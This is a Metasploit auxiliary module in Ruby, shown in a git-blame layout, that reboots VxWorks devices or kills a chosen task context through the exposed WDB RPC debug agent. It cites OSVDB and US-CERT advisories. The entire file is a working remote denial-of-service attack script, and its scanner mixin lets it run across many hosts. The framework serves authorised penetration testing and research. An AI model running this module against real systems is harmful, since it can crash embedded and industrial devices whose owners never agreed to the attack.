2010-08-02 05:56:26 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-08-02 05:56:26 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2016-03-07 08:56:58 +00:00
|
|
|
class Metasploit < Msf::Auxiliary
|
2010-08-02 05:56:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::WDBRPC_Client
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'VxWorks WDB Agent Remote Reboot',
|
|
|
|
'Description' => %q{
|
|
|
|
This module provides the ability to reboot a VxWorks target through WDBRPC
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm'],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['OSVDB', '66842'],
|
|
|
|
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
|
|
|
|
['US-CERT-VU', '362332']
|
|
|
|
],
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
['Reboot']
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Reboot'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptInt.new('CONTEXT', [ true, "The context to terminate (0=system reboot)", 0 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
|
|
|
wdbrpc_client_connect
|
|
|
|
|
|
|
|
membase = @wdbrpc_info[:rt_membase]
|
|
|
|
memsize = @wdbrpc_info[:rt_memsize]
|
|
|
|
mtu = @wdbrpc_info[:agent_mtu]
|
|
|
|
ctx = datastore['CONTEXT'].to_i
|
|
|
|
|
|
|
|
print_status("#{ip} - Killing task context #{ctx}...")
|
|
|
|
|
|
|
|
wdbrpc_client_context_kill( (ctx != 0) ? 3 : 0, ctx )
|
|
|
|
|
|
|
|
print_status("#{ip} - Done")
|
|
|
|
|
|
|
|
wdbrpc_client_disconnect
|
|
|
|
end
|
2010-08-02 05:56:26 +00:00
|
|
|
|
|
|
|
end
|